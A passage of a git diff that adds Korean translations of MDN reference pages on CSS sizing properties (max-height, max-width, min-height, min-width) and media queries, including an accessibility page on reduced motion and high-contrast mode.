+   <td>Extends its usage to HTML elements.<br>
+    Extends its syntax by making it a shorthand for the new <code>mask-*</code> properties defined in that specification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.mask")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("clip-path")}}, {{Cssxref("filter")}}</li>
+ <li><a href="/en-US/docs/Applying_SVG_effects_to_HTML_content">HTML에 SVG 효과 적용하기</a></li>
+ <li><a href="/en-US/docs/SVG">SVG</a></li>
+</ul>
diff --git a/files/ko/web/css/max-height/index.html b/files/ko/web/css/max-height/index.html
new file mode 100644
index 0000000000..3c2dfc18de
--- /dev/null
+++ b/files/ko/web/css/max-height/index.html
@@ -0,0 +1,127 @@
+---
+title: max-height
+slug: Web/CSS/max-height
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/max-height
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>max-height</code></strong> <a href="/en-US/docs/CSS">CSS</a> 속성은 요소의 최대 높이를 설정합니다. <code>max-height</code>는 {{cssxref("height")}} 속성의 <a href="/ko/docs/Web/CSS/used_value">사용값</a>이 자신의 값보다 커지는걸 방지합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-height.html")}}</div>
+
+
+
+<p><code>max-height</code>가 {{cssxref("height")}}를 재설정하고, {{cssxref("min-height")}}가 <code>max-height</code>를 재설정합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+max-height: 3.5em;
+
+/* &lt;percentage&gt; 값 */
+max-height: 75%;
+
+/* 키워드 값 */
+max-height: none;
+max-height: max-content;
+max-height: min-content;
+max-height: fit-content;
+max-height: fill-available;
+
+/* 전역 값 */
+max-height: inherit;
+max-height: initial;
+max-height: unset;
+</pre>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>고정 길이로 나타낸 최대 높이.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 높이에 대한 백분율로 나타낸 최대 높이.</dd>
+</dl>
+
+<h4 id="키워드_값">키워드 값</h4>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>최대 높이를 정하지 않음.</dd>
+ <dt><code>max-content</code> {{experimental_inline()}}</dt>
+ <dd>본질적인 선호 높이.</dd>
+ <dt><code>min-content</code> {{experimental_inline()}}</dt>
+ <dd>본질적인 최소 높이.</dd>
+ <dt><code>fill-available</code> {{experimental_inline()}}</dt>
+ <dd>컨테이닝 블록의 높이에서 세로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 <code>available</code>로 구현함을 참고하세요.)</dd>
+ <dt><code>fit-content</code> {{experimental_inline()}}</dt>
+ <dd><code>max-content</code>와 동일.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">table { max-height: 75%; }
+
+form { max-height: none; }
+</pre>
+
+<h2 id="접근성_참고사항">접근성 참고사항</h2>
+
+<p>페이지의 확대 또는 글씨 크기를 키운 후에도 <code>max-height</code>를 설정한 요소의 내용이 잘리거나, 다른 요소를 가리지 않도록 주의하세요.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener">Understanding Success Criterion 1.4.4 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-height') }}</td>
+   <td>{{ Spec2('CSS3 Sizing') }}</td>
+   <td>Adds the <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, and <code>fill-available</code> keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.<em>)</em></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-height') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>max-height</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'max-height') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.max-height")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델 입문</a>, {{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("height")}}, {{cssxref("min-height")}}</li>
+</ul>
diff --git a/files/ko/web/css/max-width/index.html b/files/ko/web/css/max-width/index.html
new file mode 100644
index 0000000000..92f8727cbf
--- /dev/null
+++ b/files/ko/web/css/max-width/index.html
@@ -0,0 +1,173 @@
+---
+title: max-width
+slug: Web/CSS/max-width
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/max-width
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>max-width</code></strong> <a href="https://developer.mozilla.org/en-US/docs/CSS">CSS</a> 속성은 요소의 최대 너비를 설정합니다. <code>max-width</code>는 {{cssxref("width")}} 속성의 <a href="/ko/docs/Web/CSS/used_value">사용값</a>이 자신의 값보다 커지는걸 방지합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-width.html")}}</div>
+
+
+
+<p><code>max-width</code>가 {{cssxref("width")}}를 재설정하고, {{cssxref("min-height")}}가 <code>max-width</code>를 재설정합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+max-width: 3.5em;
+
+/* &lt;percentage&gt; 값 */
+max-width: 75%;
+
+/* 키워드 값 */
+max-width: none;
+max-width: max-content;
+max-width: min-content;
+max-width: fit-content;
+max-width: fill-available;
+
+/* 전역 값 */
+max-width: inherit;
+max-width: initial;
+max-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>고정 길이로 나타낸 최대 너비.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비에 대한 백분율로 나타낸 최대 너비.</dd>
+</dl>
+
+<h4 id="키워드_값">키워드 값</h4>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>최대 너비를 정하지 않음.</dd>
+ <dt><code>max-content</code> {{experimental_inline()}}</dt>
+ <dd>본질적인 선호 높이.</dd>
+ <dt><code>min-content</code> {{experimental_inline()}}</dt>
+ <dd>본질적인 최소 높이.</dd>
+ <dt><code>fill-available</code> {{experimental_inline()}}</dt>
+ <dd>컨테이닝 블록의 높이에서 가로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 <code>available</code>로 구현함을 참고하세요.)</dd>
+ <dt><code>fit-content</code> {{experimental_inline()}}</dt>
+ <dd><code>max-content</code>와 동일.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제에서, 자식(<code>child</code>) 요소의 너비는 150픽셀과 부모(<code>parent</code>) 요소의 너비 중 더 작은 값이 됩니다.</p>
+
+<div id="basic-max-width-demo">
+<pre class="brush: html">&lt;div id="parent"&gt;
+  &lt;div id="child"&gt;
+    Fusce pulvinar vestibulum eros, sed luctus ex lobortis quis.
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child {
+  background: gold;
+  width: 100%;
+  max-width: 150px;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("basic-max-width-demo", 350, 100)}}</p>
+
+<p><code>fit-content</code> 값을 사용하여 해당 요소의 내용이 필요로 하는 너비만 차지하도록 설정할 수 있습니다.</p>
+
+<div id="fit-content-demo">
+<pre class="brush: html" style="display: none;">&lt;div id="parent"&gt;
+    &lt;div id="child"&gt;
+        Child Text
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child  {
+  background: gold;
+  width: 100%;
+  max-width: -moz-fit-content;
+  max-width: -webkit-fit-content;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("fit-content-demo", 400, 100)}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>페이지의 확대 또는 글씨 크기를 키운 후에도 <code>max-width</code>를 설정한 요소의 내용이 잘리거나, 다른 요소를 가리지 않도록 주의하세요.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener">Understanding Success Criterion 1.4.4  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-width') }}</td>
+   <td>{{ Spec2('CSS3 Sizing') }}</td>
+   <td>Adds the <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, and <code>fill-available</code> keywords.<em> </em>(Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.<em>)</em></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-width') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>max-width</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'max-width') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.max-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델 입문</a></li>
+ <li>{{cssxref("box-sizing")}}, {{cssxref("width")}}, {{ Cssxref("min-width") }}</li>
+</ul>
diff --git a/files/ko/web/css/media_queries/index.html b/files/ko/web/css/media_queries/index.html
new file mode 100644
index 0000000000..c3f4e87226
--- /dev/null
+++ b/files/ko/web/css/media_queries/index.html
@@ -0,0 +1,103 @@
+---
+title: 미디어 쿼리
+slug: Web/CSS/Media_Queries
+tags:
+  - CSS
+  - CSS 미디어 쿼리
+  - Media Queries
+  - Overview
+  - Reference
+  - 미디어 쿼리
+  - 반응형 디자인
+translation_of: Web/CSS/Media_Queries
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>미디어 쿼리</strong>는 다양한 기기 특성과 파라메터의 존재 여부에 따라 사이트, 혹은 앱을 조정할 수 있습니다.</p>
+
+<p>미디어 쿼리는 <a href="/ko/docs/Web/Progressive_web_apps">반응형 디자인</a>의 핵심 구성 요소입니다. 예를 들어, 미디어 쿼리는 작은 기기에 맞춰 폰트 사이즈를 줄어들게 하거나, 세로 모드(portrait mode)일 때 단락의 패딩 값을 증가시킬 수도 있습니다. 혹은 터치 스크린에서 버튼 사이즈를 키울 수도 있습니다.</p>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a>에서는 {{cssxref("@media")}} <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>을 사용해서 스타일 시트의 일부를 조건부로 적용합니다. 이 스타일 시트는 미디어 쿼리의 결과에 기반한 스타일 시트입니다. {{cssxref("@import")}}를 사용해서 조건부로 전체 스타일시트를 적용해보세요.</p>
+
+<h3 id="HTML에서의_미디어_쿼리">HTML에서의 미디어 쿼리</h3>
+
+<p><a href="/ko/docs/Web/HTML">HTML</a>에서 미디어 쿼리는 다양한 요소에 적용될 수 있습니다.:</p>
+
+<ul>
+ <li>{{HTMLElement("link")}} 요소의 {{htmlattrxref("media", "link")}} 속성에서는, 링크된 리소스 (일반적으로 CSS)가 적용되어야하는 미디어를 정의합니다.</li>
+ <li>{{HTMLElement("source")}} 요소의 {{htmlattrxref("media", "source")}} 속성에서는, 해당 소스가 적용되어야하는 미디어를 정의합니다. (이건 {{HTMLElement("picture")}} 요소 안에서만 유효합니다.)</li>
+ <li>{{HTMLElement("style")}} 요소의 {{htmlattrxref("media", "style")}} 속성에서는, 스타일이 적용되어야하는 미디어를 정의합니다.</li>
+</ul>
+
+<h3 id="JavaScript에서의_미디어_쿼리">JavaScript에서의 미디어 쿼리</h3>
+
+<p><a href="/ko/docs/Web/JavaScript">JavaScript</a>에서는, {{domxref("Window.matchMedia()")}} 메소드로 미디어 쿼리를 테스트할 수 있습니다. {{domxref("MediaQueryList.addListener()")}} 메소드를 사용하면 쿼리가 변경될 때마다 사이트나 앱에서 알림을 받을 수도 있습니다. 이러한 기능을 사용하면, 사이트나 앱이 기기 구성, 방향 또는 상태의 변화에 따라 응답할 수도 있습니다.</p>
+
+<p><a href="/ko/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries</a>에서 프로그래밍 방식으로 미디어 쿼리를 사용하는 방법에 대해 자세히 배워보세요.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@import")}}</li>
+ <li>{{cssxref("@media")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries">미디어 쿼리 사용하기</a></dt>
+ <dd>미디어 쿼리 표현식을 구성하는데 사용되는 미디어 쿼리, 구문 및 연산자와 미디어 기능을 소개합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Media_Queries/Testing_media_queries">프로그래밍 방식으로 미디어 쿼리 테스트하기</a></dt>
+ <dd>자바스크립트 코드에서 어떻게 미디어 쿼리를 사용해 디바이스의 상태를 확인하는지, 그리고 미디어 쿼리가 변경될 때(사용자가 화면을 회전시키거나 브라우저를 리사이즈 할 때와 같은 상황)마다 알림을 보내기 위해 어떻게 리스너를 설정하는지에 대해 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility">접근성을 위한 미디어 쿼리</a></dt>
+ <dd>미디어 쿼리를 사용해 사용자가 웹사이트를 더 잘 이해할 수 있게 만들어보세요.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS5 Media Queries')}}</td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'media.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("@supports")}} 를 사용하면 브라우저가 지원하는 다양한 CSS 기술들에 대한 스타일을 적용할 수 있습니다.</li>
+</ul>
diff --git a/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html b/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html
new file mode 100644
index 0000000000..d48d431b7d
--- /dev/null
+++ b/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html
@@ -0,0 +1,93 @@
+---
+title: 접근성을 위한 미디어 쿼리 사용하기
+slug: Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility
+tags:
+  - '@media'
+  - CSS
+  - 미디어 속성
+  - 접근성
+translation_of: Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility
+---
+<p><strong>미디어쿼리(Media Queries)</strong>는 장애를 가진 사용자가 웹사이트를 더 쉽게 이해할 수 있도록 도울 수 있습니다.</p>
+
+<h2 id="애니메이션_동작_축소하기(Reduced_Motion)">애니메이션 동작 축소하기(Reduced Motion)</h2>
+
+<p>깜빡이거나 반짝이는 애니메이션은 주의력결핍 과잉행동증후군(注意力缺乏過剩行動症候群 : ADHD)와 같은 인식장애를 가진 사람들에게 문제가 될 수 있다. 이러한 종류의 애니메이션 동작들은 시력 장애, 간질이나 편두통과 암소시성 민감증을 유발할 수 있습니다.</p>
+
+<p>또한, 이 애니메이션 동작을 줄이는.방법을 통해 배터리가 부족한 사람이나 보급형 스마트폰 및 컴퓨터를 사용하는 사람들에게 도음을 줄 수 있습니다.</p>
+
+<h3 id="문법"><strong>문법</strong></h3>
+
+<dl>
+ <dt><code><dfn>no-preference</dfn></code></dt>
+ <dd>사용자가 디바이스에서 애니메이션 축소와 관련된 기능을 설정하지 않았을 경우에 적용될 스타일을 나타냅니다.</dd>
+ <dt><code><dfn>reduce</dfn></code></dt>
+ <dd>사용자가 디바이스에서 애니메이션 축소와 관련된 기능을 설정하였을 경우에 적용될 스타일을 나타냅니다.</dd>
+</dl>
+
+<h3 id="예제"><strong>예제</strong></h3>
+
+<p>이 예시는 디바이스에서 애니메이션 축소와 관련된 기능을 설정하지 않으면 애니메이션 효과가 축소되지 않습니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="animation"&gt;animated box&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.animation {
+  -webkit-animation: vibrate 0.3s linear infinite both;
+  animation: vibrate 0.3s linear infinite both;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .animation {
+    animation: none;
+  }
+}
+</pre>
+
+<h2 id="고대비_모드_(High_Contrast_Mode)">고대비 모드 (High Contrast Mode)</h2>
+
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p><strong>-ms-high-contrast</strong> <a href="/en-US/docs/Web/CSS">CSS media 속성</a>은 애플리케이션이 고대비 모드로 표시되고 있는지의 여부에따라 어떤 색상으로 웹사이트를 표시할 지를 정의하는 <a href="/en-US/docs/Web/CSS/Microsoft_extensions">Microsoft 확장기능</a>입니다.</p>
+
+<p> 이 미디어 속성은 저시력 사용자나 대비에 민감한 문제가 있는 사람뿐만 아니라 직사광선 아래에서 컴퓨터나 휴대폰을 사용하는 사람에게도 도움이 됩니다.</p>
+
+<h3 id="문법_2"><strong>문법</strong></h3>
+
+<p><strong><code>-ms-high-contrast</code></strong> 미디어 속성(Media Feature)은 다음 값 중 하나를 지정하여 사용할 수 있습니다.</p>
+
+<h3 id="속성값"><strong>속성값</strong></h3>
+
+<dl>
+ <dt><code>active</code></dt>
+ <dd>
+ <p>시스템이 색상과 관계없이 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.</p>
+ </dd>
+ <dt><code>black-on-white</code></dt>
+ <dd>
+ <p>시스템이 검은색-흰 색 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.</p>
+ </dd>
+ <dt><code>white-on-black</code></dt>
+ <dd>
+ <p>시스템이 흰 색-검은 색 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.</p>
+ </dd>
+</dl>
+
+<h3 id="예제_2"><strong>예제</strong></h3>
+
+<p>다음 선언된 스타일들은 시스템과 애플리케이션에서 고대비 모드의 색상 변화에 따라 스타일을 일치시켜줍니다.</p>
+
+<pre class="brush: css">@media screen and (-ms-high-contrast: active) {
+  /* 모든 고대비 모드에 대한 스타일 규칙입니다 */
+}
+@media screen and (-ms-high-contrast: black-on-white) {
+  div { background-image: url('image-bw.png'); }
+}
+@media screen and (-ms-high-contrast: white-on-black) {
+  div { background-image: url('image-wb.png'); }
+}
+</pre>
diff --git a/files/ko/web/css/min-height/index.html b/files/ko/web/css/min-height/index.html
new file mode 100644
index 0000000000..80c27230af
--- /dev/null
+++ b/files/ko/web/css/min-height/index.html
@@ -0,0 +1,123 @@
+---
+title: min-height
+slug: Web/CSS/min-height
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/min-height
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>max-height</code></strong> <a href="/en-US/docs/CSS">CSS</a> 속성은 요소의 최소 높이를 설정합니다. <code>min-height</code>는 {{cssxref("height")}} 속성의 <a href="/ko/docs/Web/CSS/used_value">사용값</a>이 자신의 값보다 작아지는걸 방지합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-height.html")}}</div>
+
+
+
+<p><code>min-height</code>가 {{cssxref("max-height")}} 또는 {{cssxref("height")}}보다 커지면 요소의 높이는 <code>min-height</code>의 값을 사용합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+min-height: 3.5em;
+
+/* &lt;percentage&gt; 값 */
+min-height: 10%;
+
+/* 키워드 값 */
+min-height: max-content;
+min-height: min-content;
+min-height: fit-content;
+min-height: fill-available;
+
+/* 전역 값 */
+min-height: inherit;
+min-height: initial;
+min-height: unset;
+</pre>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>고정 길이로 나타낸 최대 높이. 음수 값은 유효하지 않습니다.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 높이에 대한 백분율로 나타낸 최대 높이. 음수 값은 유효하지 않습니다.</dd>
+</dl>
+
+<h4 id="키워드_값">키워드 값</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>최소 높이를 정하지 않음.</dd>
+</dl>
+
+<dl>
+ <dt><code>max-content</code> {{ experimental_inline() }}</dt>
+ <dd>본질적인 선호 높이.</dd>
+ <dt><code>min-content</code> {{ experimental_inline() }}</dt>
+ <dd>본질적인 최소 높이.</dd>
+ <dt><code>fill-available</code> {{ experimental_inline() }}</dt>
+ <dd>컨테이닝 블록의 높이에서 세로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 <code>available</code>로 구현함을 참고하세요.)</dd>
+ <dt><code>fit-content</code> {{ experimental_inline() }}</dt>
+ <dd>CSS3 Box 모듈에 따라 <code>min-content</code>의 다른 이름. CSS3 Sizing 모듈은 더 복잡한 알고리즘을 정의하지만, 모든 브라우저에서 실험 기능으로도 구현하지 않습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">table { min-height: 75%; }
+
+form { min-height: 0; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-height') }}</td>
+   <td>{{ Spec2('CSS3 Sizing') }}</td>
+   <td>Adds the <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, and <code>fill-available</code> keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.<em>)</em></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#min-auto', 'min-height') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Adds the <code>auto</code> keyword and uses it as the initial value.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-height') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>min-height</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'min-height') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.min-height")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델 입문</a>, {{cssxref("box-sizing")}}</li>
+ <li>{{ Cssxref("height") }}, {{ Cssxref("max-height") }}</li>
+</ul>
diff --git a/files/ko/web/css/min-width/index.html b/files/ko/web/css/min-width/index.html
new file mode 100644
index 0000000000..50bab2c8d9
--- /dev/null
+++ b/files/ko/web/css/min-width/index.html
@@ -0,0 +1,122 @@
+---
+title: min-width
+slug: Web/CSS/min-width
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/min-width
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>min-width</code></strong> <a href="/en-US/docs/CSS">CSS</a> 속성은 요소의 최소 너비를 설정합니다. <code>min-width</code>는 {{cssxref("width")}} 속성의 <a href="/ko/docs/Web/CSS/used_value">사용값</a>이 자신의 값보다 작아지는걸 방지합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-width.html")}}</div>
+
+
+
+<p><code>min-width</code>가 {{cssxref("max-width")}} 또는 {{cssxref("width")}}보다 커지면 요소의 높이는 <code>min-width</code>의 값을 사용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+min-width: 3.5em;
+
+/* &lt;percentage&gt; 값 */
+min-width: 10%;
+
+/* 키워드 값 */
+min-width: max-content;
+min-width: min-content;
+min-width: fit-content;
+min-width: fill-available;
+
+/* 전역 값 */
+min-width: inherit;
+min-width: initial;
+min-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>고정 길이로 나타낸 최대 너비. 음수 값은 유효하지 않습니다.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비에 대한 백분율로 나타낸 최대 너비. 음수 값은 유효하지 않습니다.</dd>
+</dl>
+
+<h4 id="키워드_값">키워드 값</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>최소 너비를 정하지 않음.</dd>
+ <dt><code>max-content</code> {{ experimental_inline() }}</dt>
+ <dd>본질적인 선호 높이.</dd>
+ <dt><code>min-content</code> {{ experimental_inline() }}</dt>
+ <dd>본질적인 최소 높이.</dd>
+ <dt><code>fill-available</code>{{ experimental_inline() }}</dt>
+ <dd>컨테이닝 블록의 너비에서 가로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 <code>available</code>로 구현함을 참고하세요.)</dd>
+ <dt><code>fit-content</code> {{ experimental_inline() }}</dt>
+ <dd><code>min(max-content, max(min-content, fill-available))</code>과 같음.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:css;">table { min-width: 75%; }
+
+form { min-width: 0; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
